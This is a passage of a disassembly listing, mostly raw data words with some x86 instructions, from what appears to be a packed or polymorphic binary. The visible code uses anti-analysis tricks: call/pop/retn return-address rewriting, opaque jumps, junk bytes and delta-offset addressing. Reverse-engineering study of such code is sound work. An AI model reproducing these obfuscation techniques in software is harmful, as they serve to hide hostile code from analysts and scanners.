		dd 0AE807E9h, 0D4000000h, 7826FCABh, 0C0C2CB66h, 0EAFEBBEEh
		dd 615F1B61h, 0AE9h, 3660F700h,	664B11BDh, 0E9983054h
		dd 0FFFFF79Eh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 1Ch,	1CC35747h, 9477204Fh, 4C7DE24Ah, 0C8E0Fh, 8D890000h
		dd 7E90C91h, 879B52Bh, 0BD8907E9h, 7E91E65h, 8BF78B66h
		dd 4EBC1h, 66000000h, 1167EE81h, 0E856006Ah, 3,	5EC35E20h
		dd 4247489h, 4244481h, 15h, 99C35646h, 0FD9D093Eh, 0E907E906h
		dd 10h,	4CFBB30Ch, 2DE9B35Ah, 2F872762h, 0AE5DF8D1h, 861858Dh
		dd 6A07E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
		dd 51410000h, 0A02CBDC3h, 7E045FCh, 4DB50BC0h, 9007E92Ah
		dd 50F98B66h, 870F5250h, 5, 8E8794BEh, 60310F4Ch, 0FBF1BA66h
		dd 5A6171B4h, 0B5899058h, 7E90C49h, 6A006Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 8F9044C3h
		dd 6A82C2EDh, 6A56F3h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ah, 3FC35747h, 0A6A830Ah,	0BD8B66C0h, 7E92A85h
		dd 28B2858Dh, 6A07EDh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1A0424h, 50400000h, 0C6533CC3h, 1FCAEDC7h, 0CE8h, 32005000h
		dd 1EE0664Fh, 96FA6C87h, 0FEB70FEAh, 5C0835Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 3EC35141h, 3DBFA3A8h
		dd 906C2ACDh, 0C8FD74BEh, 5250506Eh, 0FF78B66h,	52505331h
		dd 585A310Fh, 90585A5Eh, 2025B58Bh, 6A07E9h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 7E32E9C3h, 0BABE2B04h, 870F65B8h, 6,	1351BD89h, 95FF07E9h
		dd 7E90FB9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	0EBC35141h, 0D47B91CBh,	0B5295081h, 7E90F49h, 0D72C9D8Dh
		dd 6A07ECh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 8C0FCCC3h, 0
; ---------------------------------------------------------------------------
		call	ebx	; _iob
		pusha
		mov	[ebp+7E92B81h],	eax
		xor	edx, 7067CD9h
		popa
		pusha
		sub	bl, 84h
		jns	loc_5C6645
		jmp	loc_5C6645
; ---------------------------------------------------------------------------
		db 71h
		dd 41EEA554h, 505C3B81h, 6370144Fh
		db 7Ch
; ---------------------------------------------------------------------------


loc_5C6645:				; CODE XREF: sdfs____:005C662Cj
					; sdfs____:005C6632j
		popa
		inc	dword ptr [ebp+7E90F9Dh]
		push	0
		push	eax
		call	sub_5C6657
		and	[eax-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C6657	proc near		; CODE XREF: sdfs____:005C664Fp

arg_4		= dword	ptr  8

		pop	eax
		mov	[esp-4+arg_4], eax
		add	[esp-4+arg_4], 18h
		inc	eax
		push	eax
		retn
sub_5C6657	endp

; ---------------------------------------------------------------------------
		db 71h
		dd 892E23E9h, 7DEE9h, 0E800h, 815D0000h, 0ED28BCEDh, 52006A07h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 58E8B570h, 0A04B8B3Ch, 0D1BD81A5h, 0D007E92Ah, 0F000007h
		dd 15D86h, 0E7816600h, 9D8BE044h, 7E91911h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 1EC35747h, 0E3819C9Dh
		dd 100h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 17h,	0F5C35545h, 89D85A4Bh, 0E91EADB5h, 0FDB0B07h, 0A585h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1804h
		dd 0C3514100h, 4DAD58DFh, 0C860FEBh, 0F000000h,	68Eh, 89B58B00h
		dd 8307E92Ch, 0ED266DBDh, 840F0007h, 4Bh, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 19h, 6AC35646h, 9430005Eh
		dd 0FE9600Dh, 2D000000h, 0F14B1A75h, 0AADC6310h, 9DFDDB65h
		dd 0B5891B39h, 7E910B9h, 619D0961h, 0E907E924h,	2Fh, 0C7FB8B66h
		dd 0ED266D85h, 107h, 45BD0300h,	0E907E924h, 17h, 2EC5BD8Bh
		dd 85C707E9h, 7ED266Dh,	0
; ---------------------------------------------------------------------------
		sub	[ebp+7E90CBDh],	ecx
		cld
		lea	ebx, [ebp+7E91911h]
		jg	loc_5C67DB
		jmp	loc_5C67DB
; ---------------------------------------------------------------------------
		dd 20688662h
		db 0D6h, 0B8h, 11h
; ---------------------------------------------------------------------------


loc_5C67DB:				; CODE XREF: sdfs____:005C67C9j
					; sdfs____:005C67CFj
		mov	edi, [ebp+7E925ADh]
		and	dword ptr [ebx], 0FFFFFEFFh
		push	0
		push	ebp
		call	sub_5C67F2
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C67F2	proc near		; CODE XREF: sdfs____:005C67EAp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 19h
		inc	ebp
		push	ebp
		retn
sub_5C67F2	endp

; ---------------------------------------------------------------------------
		dw 0C6EDh
; ---------------------------------------------------------------------------
		dec	ecx
		movsb
		jb	short loc_5C687A
		mov	[ebp+7E912F1h],	ecx
		mov	bx, ds
		push	0
		push	ebp
		call	sub_5C681C
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5C681C	proc near		; CODE XREF: sdfs____:005C6814p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 16h
		inc	ebp
		push	ebp
		retn
sub_5C681C	endp

; ---------------------------------------------------------------------------
		dd 0FCD93AAh, 58Ah, 0E6816600h,	0C3F6C05Ah, 27840F04h
		dd 8B000000h, 5995FFF3h, 3107E900h, 0E908C9BDh,	0BF669007h
		dd 52506741h, 52505250h, 2 dup(585A310Fh), 0BE66905Eh
		dd 0E6E9B84Bh, 6A000003h, 3E85000h, 20000000h
; ---------------------------------------------------------------------------
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_5C687A:				; CODE XREF: sdfs____:005C6806j
		pop	eax
		mov	[esp+4], eax
		add	dword ptr [esp+4], 1Bh
		inc	eax
		push	eax
		retn
; ---------------------------------------------------------------------------
		dw 0FE17h
		dd 0A9AA98E5h, 0B0A6DDh, 398D8960h, 8907E90Ah, 0E90B01BDh
		dd 70E66107h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 17h,	9BC35141h, 520F5861h, 8E9h, 0A0D61800h,	30D11746h
		dd 71E45FDFh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 1Bh,	0C8C35747h, 0E2C35B52h,	8B07A4BCh, 0E92A71BDh
		dd 0D8B60F07h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	0F7C35747h, 0D2EE24AEh,	38F0FFFh, 66000000h, 6BAFB8Bh
		dd 66000000h, 0C38BF38Bh, 0EE9h, 87E86A00h, 0DC8D5C46h
		dd 3AA4112Ch, 0C19CCBC8h, 0AE904E8h, 66000000h,	0B5C0CFBEh
		dd 0E58B66B8h, 0E2F76683h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Bh, 83C35040h, 0C2EF7C03h, 894F3C7Ch, 0E93089B5h
		dd 89958907h, 2B07E911h, 51006AD8h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1A04h, 0C3514100h, 0F2573961h, 9374BA82h
		dd 0F78B6651h, 11E9505Fh, 96000000h, 0A5AD6054h, 0D84E62Dh
		dd 816DFF43h, 714218AFh, 53006A93h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 14CAC07Eh, 0BEB81DCDh
		dd 0D5BD8B29h, 0FF07E90Fh, 0E92AD1B5h, 35852907h, 8107E931h
		dd 0A22079E6h, 3195FF0Ah, 0E907E90Ch, 0Ah, 0D4FABA70h
		dd 0A7831DE6h, 0B0B3CFh, 10B4BF66h, 6A70E6h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 763E3CC3h
		dd 0FA21D4DBh, 0E78166E9h, 71E4FA70h, 0B818D89h, 613C07E9h
		dd 1F7830Fh, 0CE90000h,	35000000h, 4E80B363h, 1738DEF4h
		dd 0F708943h, 850FD8B6h, 6, 1F19B529h, 6BA07E9h, 0F000000h
		dd 78Ah, 0EEBA6000h, 6129ECCAh,	6AC38Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 6C27F1C3h
		dd 0F04E8C1h, 68Ch, 41BD8B00h, 6607E90Ah, 11E9E2F7h, 5D000000h
		dd 0DEF3D29Ah, 6FAE907Dh, 0C0B55857h, 149D269Bh, 0CE9D82Bh
		dd 0BE000000h, 77EFD7BEh, 0E6A43D4Dh, 58A5DBADh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 19h, 42C35141h, 0F1DDC296h
		dd 0FD82B72h, 14088h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0FEE0B30h, 0B9F9B70Fh
		dd 7, 0E856006Ah, 3, 5EC35E20h,	4247489h, 4244481h, 1Ah
		dd 4EC35646h, 1AC1E610h, 8166BAFFh, 834DDCF7h, 6A00C1h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h
		dd 0BD8B67C3h, 7E91ECDh, 9E9h, 0EDF91D00h, 0FA95B9BCh
		dd 0D93B3605h, 0B7860Fh, 0B5890000h, 7E91619h, 0FD98C66h
		dd 38Ah, 0F08B6600h, 0F04C1F6h,	9784h, 41BD8B00h, 6607E909h
		dd 0FF87E4BEh, 0E9005995h, 6A5B07h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0E61C59C3h
		dd 9EFE955h, 0BD8B512Ah, 7E916A9h, 3DF5C32Bh, 834h, 4E860Fh
		dd 8B660000h, 0EE8F7h, 9EF0000h, 5623512Ah, 9C62E0BAh
		dd 0A20BA410h, 1CDDB58Bh, 0E95F07E9h, 31h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 1AC35545h, 8B608440h
		dd 0E919DDB5h, 0E18D0907h, 6107E90Bh, 0BF0FC08Bh, 8BC38BF8h
		dd 6E8D8h, 0E53F0000h, 7403BB0Fh, 68B0Fh, 0BD8B0000h, 7E90A91h
		dd 0E185C75Fh, 3F07E92Fh, 811D390Bh, 25E02DEFh,	23C08B65h
		dd 0E90C91B5h, 0D1BD8107h, 0D007E92Ah, 0F000007h, 3C85h
		dd 8A0F00h, 8B000000h, 0E90BE9BDh, 0D185FF07h, 6A07E92Ah
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 1491C352h, 8E48B0A2h, 8B577C0Bh, 0E92DCDBDh
		dd 0D1B5FF07h, 0E807E92Ah, 0Bh,	10B81F42h, 7CC1F0A0h, 0F561425h
		dd 68Bh, 0A9B58B00h, 5E07E902h,	0C3195FFh, 6A07E9h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 0FA62DEC3h, 1E0DB589h, 90F907E9h, 6AF8F8h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 160424h, 53430000h, 86C39FC3h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 72C35646h
		dd 0A6BE5F57h, 297F9103h, 0E909E995h, 57006A07h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h
		dd 0E28507CBh, 8660A79Eh, 0BD33F07Eh, 7E908D5h,	0F59227BEh
		dd 55006A33h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1704h
		dd 0C3554500h, 0E66D5BAh, 3535BD23h, 14E907E9h,	6E000000h
		dd 5AA92155h, 4BC8BA6Eh, 4549594Fh, 0DB52FABh, 89E123EAh
		dd 0E90C419Dh, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1804h, 0C3534300h, 3CA38994h, 21853124h
		dd 6A07E924h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1B042444h, 47000000h, 6772C357h, 0F5B2883Ch,	8589CB1Ah
		dd 7E93509h, 3591B58Bh,	0BD8B07E9h, 7E91585h, 0FFF830E9h
		dd 9E9FFh, 83460000h, 21F04046h, 0E948013Eh, 1Dh, 73A86FDAh
		dd 6 dup(0)
		dd 520E900h, 65F60000h,	1A3E9A1Bh, 0CD63CD60h, 7E9602B3h
		dd 32C771FCh, 0F435AB4Ah, 6A0B7184h, 0D855D7CEh, 0CA1DB7Ch
		dd 45E88AA0h, 8B0B8620h, 85286F95h, 0A04A1177h,	0AF420ED6h
		dd 2FC620CDh, 8FA6FA9Fh, 0F983953Dh, 21099F25h,	0C91567F5h
		dd 310D6F8Dh, 3B0B7185h, 23D37A9Eh, 7ACB758Ah, 1EDA7CC8h
		dd 4FE690BAh, 83324AEDh, 0A248FE11h, 0E4E242D0h, 4BA7D578h
		dd 24B6366Fh, 2E97178Ah, 2B79305Ch, 587C93CFh, 9FE077B1h
		dd 0E11EDCF7h, 12A33140h, 50EA94A6h, 0CA1A60F4h, 453C70B8h
		dd 305C2A6Ah, 0B18DEF00h, 0BB8BF105h, 0D723CACEh, 0DB1BC256h
		dd 98FD9B42h, 0AC84379Ah, 3190A51Fh, 82C184h, 4AE10000h
		dd 970ED6A0h, 305CC515h, 83631D33h, 0B15ADF37h,	491B66A0h
		dd 72A5790Fh, 0AF48AB52h, 479BB05Fh, 0AC40E57Bh, 74F4CC0Dh
		dd 9D398431h, 58DC3579h, 8068FE84h, 16Dh, 0A64A7500h, 73AB42D4h
		dd 0FA2BBA1Fh, 13BFF33Fh, 15A17DFFh, 50ED7FFDh,	5B18EF77h
		dd 336FCB22h, 19CB7286h, 0DB9DB1F5h, 5BC8E6A6h,	0E6742E30h
		dd 6B2FC650h, 0C0C0B1BEh, 50305C30h, 2434BB52h,	55C7CA26h
		dd 8A38B5C7h, 9D5A74Ah,	53E5A94Dh, 45019B29h, 0CD61C9B3h
		dd 0BD77167Eh, 0E751DC98h, 35912B55h, 0FF855923h, 3DD3FF33h
		dd 47CBE343h, 0DA7B75A6h, 7EFB8430h, 0CF000000h, 9D5A74Ah
		dd 47D1AB4Dh, 8E8B89AEh, 5ED4AEDh, 9832ECE9h, 3366E43Ch
		dd 305CA173h, 0C72B079Dh, 2D4FE226h, 0B745019Bh, 0A0D4D4C5h
		dd 663C305Ch, 8095078Ah, 74AC28F4h, 92BE2EF6h, 0FDC62EEBh
		dd 56208430h, 82000000h, 43D5A74Ah, 77F52DA9h, 5CC58202h
		dd 10269230h, 7E0C966Eh, 0BD527EB2h, 34742DC7h,	0DC305CC5h
		dd 0C4D3D3C6h, 673D305Ch, 7C900DD1h, 40062BDDh,	0B03DD351h
		dd 15ED7812h, 727B2043h, 0B75B7FBBh, 2D8879C5h,	0EC305C39h
		dd 50B06108h, 0AE84316Ch, 1, 0DAA44A34h, 0D2AC4E0Ah, 52FB1D72h
		dd 77FE8096h, 14A6313Ch, 0B5ADA29Dh, 32129037h,	6B0A7486h
		dd 0C14353FBh, 0FBAF4D69h, 48942AAAh, 0FD7F963Eh, 0B657A321h
		dd 2873ADF4h, 886E0F01h, 355B20FDh, 0F83069E2h,	0AA3C3EDCh
		dd 0D5C54013h, 240CD57Eh, 0A3DD7FD9h, 0D3A94D09h, 0AF3BBA3Ah
		dd 230F8005h, 4F29C38Fh, 31D824F7h, 811B65F7h, 0E34FCDC5h
		dd 33C4801Eh, 0B908BC4Eh, 982E7624h, 8917350h, 6EED8C1Ah
		dd 0F5000001h, 463BDC78h, 47BC11A7h, 0FD41D7A4h, 0DB560BE7h
		dd 0A420BA4Ch, 35EEF6Dh, 0B01410B3h, 545332FEh,	0C237B570h
		dd 9AB01CE0h, 70864ED8h, 4FDF220Eh, 230F7187h, 0CB1B65F7h
		dd 79136D8Fh, 70A874ECh, 4143A321h, 1F330FB4h, 0C0CC9FD3h
		dd 54DEF19h, 2EC084F0h,	0B737BE4Ch, 0BB77092Fh,	19EAB808h
		dd 7E368Ch, 788C0000h, 5B455EEDh, 40A803FEh, 0B61498ADh
		dd 0C669C7A7h, 0B3413BDDh, 0A579FB2Bh, 82FF891Fh, 0B05CA922h
		dd 0B56CB0F2h, 0B05CA8F5h, 0A155F418h, 0A91A9A17h, 0A8FAB05Ch
		dd 1398AD40h, 47C5DD79h, 360E8E87h, 0C86244ACh,	0A943433Eh
		dd 0D7CDB05Ch, 0A94A6A1Bh, 9430305Ch, 9E24F882h, 0D2C2AE52h
		dd 64F68C50h, 5CA96D2Dh, 6FFDA730h, 0A4FC58C6h,	9D1D9426h
		dd 77305CA8h, 8ACAC52Dh, 14000000h, 0A537A0B3h,	2DC2720Bh
		dd 982DAFE6h, 5EFEB314h, 9869C1BBh, 37B52B5Dh, 0DBF74F55h
		dd 2AE4731h, 0CFB68EE8h, 287329F2h, 0CB1B61F4h,	0CD116B8Fh
		dd 29BEFEB3h, 4C562873h, 64963759h, 787E1F31h, 71E075EDh
		dd 66099C20h, 0A7DA6CBBh, 287331E7h, 1BBF7B29h,	0BBEE87F1h
		dd 7AB828B8h, 116F038Dh, 0F75FE983h, 34D51D9Fh,	2FC820FAh
		dd 24906C36h, 67986416h, 7AF5B861h, 0B74537DBh,	0F0B26C25h
		dd 127E27DAh, 45E87EF8h, 0B3EE78FDh, 305CC4F3h,	0F6AB871Dh
		dd 275AEC7Bh, 37B193EDh, 32722FB9h, 0E2286F95h,	8A1862F6h
		dd 44D6C2AEh, 7C58A43Ah, 0A7119CDEh, 6A1BEB95h,	7C293B11h
		dd 0EF19C054h, 1682334Dh, 2EAA7A04h, 77A874F6h,	0DE7CA851h
		dd 1700A9Ch, 0B42A3B81h, 6B152793h, 24901DD5h, 0AD26416h
		dd 344E96E0h, 1F0FA0FCh, 73000000h, 7E3341EBh, 0B42A3B3Eh
		dd 0E63ECCD6h, 57574ADCh, 0B9B42A3Bh, 54BD0FEBh, 9BE50AD2h
		dd 0A14A6D5Fh, 0A9430FD7h, 0B45B77CFh, 455C78C4h, 0BE537FC7h
		dd 0C76A66BEh, 356D69B5h, 0CD636FB7h, 0D36753B3h, 685E55A9h
		dd 45h,	50243C89h, 405E089h, 83000000h,	48704E8h, 0C895C24h
		dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 68243C89h
		dd 2Bh,	0BD242C89h, 528323F5h, 0CC7C581h, 0E989B56Ah, 3C8B545Dh
		dd 4C48124h, 68000000h,	0F95h, 8F240C89h, 34FF0847h, 0C4835F24h
		dd 2434FF04h, 4C48359h,	0FC45E9E9h, 6DB8FBFFh, 307ED35h
		dd 35E0FFC5h, 0DA2264A8h, 51062B62h, 336981D6h,	583028BFh
		dd 0A15E75AAh, 607977E0h, 301D531Ch, 0B47C0969h, 7160D07Dh
		dd 0D96425A4h, 5130F35h, 53402021h, 79655A7Bh, 0DA38C32Bh
		dd 4D434EDEh, 0E24602CAh, 567145E2h, 3B75F3C9h,	0B732340h
		dd 8B6CD601h, 86495F1h,	683216F2h, 6216CE39h, 9475AE13h
		dd 376C058Bh, 0F37F2442h, 2D64BC8Dh, 54651D1Fh,	0F10390F4h
		dd 2B587844h, 8B5EEA47h, 10E9C1h, 0E67B0000h, 9C41238Ah
		dd 0B32535B9h, 7C74E5A2h, 4EB3AEEh, 1, 6AFA8B66h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h
		dd 6545C350h, 0C9D8A2ECh, 8589F427h, 7E92A5Dh, 8DFE8B66h
		dd 0E9086185h, 50006A07h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1A04h, 0C3504000h, 64CDE575h, 900E6A1Fh
		dd 80DB36BEh, 6A90503Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 5F85C351h, 8B268E3Dh
		dd 0E908D1BDh, 97BE6607h, 0BE982h, 0C6FE0000h, 0DCD3B304h
		dd 5E258EBAh, 6A006A29h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 0D236C350h,	134FA557h
		dd 160A6F2h, 0E902C59Dh, 0A992BE07h, 6A611A3Ah,	56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 7180FCEDh, 0C69C38CDh, 858DBE1Ah, 7ED387Fh, 2FA19589h
		dd 0C08307E9h, 53006A05h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 24EE5ED0h, 5095842Eh
		dd 880F5250h, 0
		dd 8B60310Fh, 6128B1F8h, 489585Ah, 10E924h, 8D80000h, 0D579240Fh
		dd 402EA8A3h, 77B9BE48h, 6A58E7h, 229DB50Bh, 6A07E9h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 84C35343h, 0BFF5E6BCh
		dd 609DF47Ah, 0FB995FFh, 5E807E9h, 6D000000h, 30F84E3Ch
		dd 0CEBABF66h, 2C9D8D5Fh, 6A07ECD7h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1D042444h, 40000000h, 533AC350h
		dd 11992CA4h, 3291106Fh, 6AD3FFh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 63C181C3h, 512019DFh
		dd 0BE91A5D9h, 1FA412DBh, 0F9D85FFh, 0BE807E9h,	0C000000h
		dd 0D0A030ACh, 1E42FF32h, 0F28B8371h, 819E95Eh,	0E80000h
		dd 5D000000h, 3889ED81h, 666007EDh, 0B55FF0B8h,	0BD816155h
		dd 7E92AD1h, 7D0h, 163860Fh, 9D010000h,	7E90005h, 0C8D9D8Bh
		dd 665107E9h, 5F48C7BEh, 100E381h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 79A75DC3h
		dd 0F1BD8906h, 0B07E900h, 0B1850FDBh, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 0C8ABC351h, 18F9AE72h, 7ABD835Ch, 7ED36h, 4C840Fh, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0B5C0CFC3h, 12359D89h, 8DE907E9h, 6A000000h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 0D44BC355h, 56699C11h, 85C7DCB0h, 7ED367Ah, 1, 6F5BD8Bh
		dd 55E907E9h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 0BE60C356h,	68308D32h
		dd 367A85C7h, 7EDh, 6A0000h, 3E852h, 5A200000h,	54895AC3h
		dd 44810424h, 1D0424h, 52420000h, 96F7BBC3h, 7C550BADh
		dd 0BE4DEEF9h, 4DDB93EEh, 0C8D9D8Dh, 238107E9h,	0FFFFFEFFh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 41C35141h
		dd 8896A85Bh, 8E9h, 0DAA76800h,	2A86042Bh, 0DB8C66B8h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 9FC35141h
		dd 0F5BD2BCCh, 0F607E919h, 840F04C3h, 7Eh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0A7C35242h, 9FAD22A8h
		dd 9B0CE30Ah, 1EA9B523h, 95FF07E9h, 7E90059h, 0DE860h
		dd 475A0000h, 2026003h,	0BF0FA95Ch, 0E8017321h,	0Eh, 0CCBD3324h
		dd 759B85E6h, 8092A6B8h, 5A5B8F37h, 0E99061F8h,	0Dh, 0DA368798h
		dd 0C9E3DD14h, 0BFEC30C8h, 0E99050A4h, 0Ah, 81F75CF0h
		dd 3F7DA711h, 0B0E9DBB1h, 0B0000003h, 70E6FC00h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 4BC35747h, 71E406EDh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 8DC35040h
		dd 0F676E3D4h, 551B58Bh, 0B60F07E9h, 52006AD8h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0F62DF557h
		dd 0E061939Eh, 0D88B6083h, 6BA61F9h, 0BF000000h, 631B5B57h
		dd 0B529C38Bh, 7E92A79h, 6A04E8C1h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 0A65DC350h
		dd 8A1B826Dh, 0F766FC46h, 11E9E2h, 0EB890000h, 4D877578h
		dd 6C7A8B4Dh, 9B350F7Fh, 2B04CD05h, 52006AD8h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 2C4DD4D7h
		dd 93F6B70Fh, 0E7B9CFBFh, 6E95074h, 35000000h, 0E1E08F6Dh
		dd 6A9381h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
		dd 55450000h, 0A689D1C3h, 2557F781h, 0F18B7883h, 2AD1B5FFh
		dd 6A07E9h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BD8B25C3h, 7E9081Dh, 0C3195FFh, 6A07E9h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h
		dd 84FE54C3h, 0E4793565h, 60C78166h, 0B0FE8B54h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0C72C8AD9h, 25BD8BE3h, 0E607E916h, 53006A70h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h
		dd 78B68491h, 0BEA40A16h, 2C13D8B3h, 850F71E4h,	6, 151D9509h
		dd 613C07E9h, 1CD830Fh,	0BD290000h, 7E90FE5h, 81D8B60Fh
		dd 679C85EEh, 6BA69h, 0B58B0000h, 7E90AC9h, 6AC38Bh, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1D0424h, 56460000h
		dd 4BAB2C3h, 146BE337h,	0C17DAFCCh, 6E804E8h, 5A000000h
		dd 9C1D8946h, 0EBC781B5h, 5F1EFF5Dh, 1871BD89h,	0F76607E9h
		dd 53006AE2h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 5E70F916h, 8B66C18Eh, 28C0FF1h, 8B000000h
		dd 0E8D82BF7h, 6, 12396217h, 830F28DAh,	2, 585FF08Bh, 13BD9589h
		dd 0D82B07E9h, 11D880Fh, 81660000h, 0B968F8D6h,	7, 0FFD4BE66h
		dd 1AAD9D89h, 0C18307E9h, 55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0D93B9A8Eh
		dd 0E1860Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 66034EC3h, 6AD98Ch, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0F6C953C3h
		dd 840F04C1h, 93h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 0A6C35646h, 0A2A99914h, 0BF665873h, 95FFA428h
		dd 7E90059h, 1BE429BEh,	6A5B5Eh, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 8686B8C3h, 9B54FFB4h
		dd 0FBB70F5Ah, 0B529C32Bh, 7E92D4Dh, 8343Dh, 28860F00h
		dd 0F000000h, 28E9FEB7h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 63DEC353h
		dd 8BFC5452h, 9DBD8BC0h, 8B07E925h, 6AD88BC3h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 313AC350h, 0E906FDB5h, 0E9BE6607h, 1185C7FCh, 0B307E919h
		dd 0F853D1D5h, 6AC08Bh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 190424h, 55450000h, 8BE543C3h, 527EAC52h, 815FF08Bh
		dd 0E92AD1BDh, 7D007h, 2B850F00h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 0ECCC351h, 85FF1371h, 7E92AD1h, 0C35BD89h, 0B5FF07E9h
		dd 7E92AD1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	68C35040h, 0C8314C0h, 2A19393Bh, 171D8589h, 95FF07E9h
		dd 7E90C31h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Dh,	0C5C35141h, 0BEFB35EFh,	3C43DC0Ah, 0E890F944h
		dd 0Fh,	873B824Dh, 41C50563h, 20918EAEh, 9AA1459h, 0E9020595h
		dd 6A5F07h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 31E40EC3h, 0E91C15BDh, 0D9EF8107h, 8B79B1C6h
